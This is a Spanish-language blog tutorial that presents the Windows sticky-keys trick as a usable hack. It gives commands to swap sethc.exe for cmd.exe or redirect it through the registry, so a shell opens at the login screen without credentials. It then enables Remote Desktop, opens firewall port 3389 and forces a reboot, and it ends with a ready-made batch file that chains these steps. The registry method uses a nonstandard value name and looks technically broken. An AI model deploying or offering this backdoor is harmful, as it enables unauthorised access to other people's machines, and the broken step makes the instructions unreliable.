Desde Windows XP hasta windows 8.1 este hack funciona perfectamente. Algunos lo llaman "exploit" otros simplemente un truco. Sea lo que sea funciona muy bien en las versiones mas nuevas de windows y, además, si le sumas la receta del escritorio remoto haces un buen pastel con poca cosa.

La vulnerabilidad, para el que no la conozca, aprobecha la ejecución del programa conocido por sticky key de Windows y este se ejcuta cuando pulsas 5 veces la tecla shift. Si sabemos como usar esta función para ejecutar una terminal sin loguearse en el PC. Aunque eso si, para empezar necesitaremos un acceso físico o la ejecución de un batch, ejecución de comandos o de un ejecutable.

Aquí os mostraremos las opciones que conocemos y también os facilitaremos un batch para no tener que hacerlo a mano.

 

 

Probando que funciona el sticky key

Para comprobar que el sticky key de tu windows de pruebas funciona simplemente colocate en el escritorio, o en el login sin poner usuario y contraseña, y pulsa 5 veces la tecla shift. Si te aparece la siguiente imagen o algo parecido es que realmente te ha funcionado.

 

 

 

 

 

 

 

 

 

 

Técnica de remplazo de sethc.exe por cmd.exe

 Una de las formas que yo siempre he conocido es la del simple remplazo de sethc.exe de system32 por el cmd.exe, este remplazo se hace renombrando el cmd.exe a sethc.exe . Para realizarlo apenas necesitamos un par de comandos, pero eso si, necesitamos también permisos de escritura sobre system32 (casi nada).

Con el primero comando haremos una copia de sethc.exe para luego dejar el sistema como estaba, estoes importante ya que nos quedaremos sin el programa inicial de sticky key.

copy "c:\windows\system32\sethc.exe" "c:\windows\system32\sethc.back

 Con el segundo comando le diremos que copie el cmd.exe y lo renombre a sethc.exe

copy "c:\windows\system32\cmd.exe" "c:\windows\system32\sethc.exe"

 Se supone que con esto ya podemos probar si funciona correctamente el sticky key. Pulsa 5 veces en el escritorio de windows la tecla shift y debería salirte una ventana de cmd de windows parecida a esta.

 

 

 

 

 

 

 

 

 

 

Ahora si te ha salido puedes probar a cerrar sesión y en el apartado donde debes poner el login pulsar 5 veces shift y verás como te aparece la preciada consola.

 Si queremos dejar como estaba el Sticky key solo tendremos que renombrar el ejecutable de sethc.back. De esta forma.

copy "c:\windows\system32\sethc.back" "c:\windows\system32\sethc.exe"

 

Técnica de cambio de registro de windows

 De esta forma lo único que debemos hacer es ejecutar este comando, con permisos de administrador, para que cuando se inicie la secuencia de de pulsar 5 veces shift inicie cmd.exe en vez de sethc.exe.

Tan solo ejecutando esta línea en un cmd con permisos de administrador ya tendremos lo que queremos.

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Prueba_CMD /t REG_SZ /d "C:\windows\system32\cmd.exe"

 Solo queda probar si ha funcionado, pulsamos 5 veces shift y veremos si aparece el cmd.

Si queremos dejar el registro como estaba eliminaremos la entrada y listo, con este comando.

REG DELETE "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Prueba_CMD

Listo, ahora al pulsar 5 veces saldrá otra vez el Sticky Key.

 

Rizando el rizo, habilitando escritorio remoto para acceder desde otro equipo con el Sticky key

 Una curiosa forma de aprobechar aún mas este "exploit" es usándolo junto con escritorio remoto de windows, ya que al iniciar escritorio remoto desde otro windows al windows con el cmd activado podremos obtener la shell de forma remota.

Primero de todo activaremos la opción de escritorio remoto de windows con el siguiente comando.

REG ADD "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t "REG_DWORD" /d 0

 También añadiremos una regla en el firewall para que bis deje conectar.

En Windows XP:

netsh firewall add portopening TCP 3389 "Escritorio Remoto" enable all

En Windows 7 y superiores:

netsh firewall set service type = remotedesktop mode = enable

Dependiendo de versiones de Windows después del cambio de valor para fDenyTSConnections hay que reiniciar el PC, así que le indicaremos uqe queremos reiniciar con este comando.

shutdown -t 0 -r -f

Para probar si funciona necesitarás otro windows para iniciar una sesión remota. Cuando inicies te saldrá el login para introducir el usuario, al no tener el usuario pero tener puesto el Sticky Key con el cmd podremos pulsar 5 veces shift y aparecera la shell del otro equipo.

 

Batch

 Para poder hacerlo con un solo click aquí adjunto lo que seria el batch que realiza las tareas.

@echo off
title .
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Prueba_CMD /t REG_SZ /d 
"C:\windows\system32\cmd.exe"
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Escritorio Remoto" enable all
shutdown -t 0 -r -f
exit

 

Webgrafia

Técnica de cambio de registro de windows

http://www.hackplayers.com/2012/05/el-viejo-truco-de-las-sticky-keys-sigue.html

 

 

  • No se han encontrado comentarios

Deja tus comentarios

Enviar un comentario como invitado

0 / 300 Restricción de Carateres
El texto debe estar entre 2-300 caracteres
Sus comentarios están sujetos a moderación por un administrador.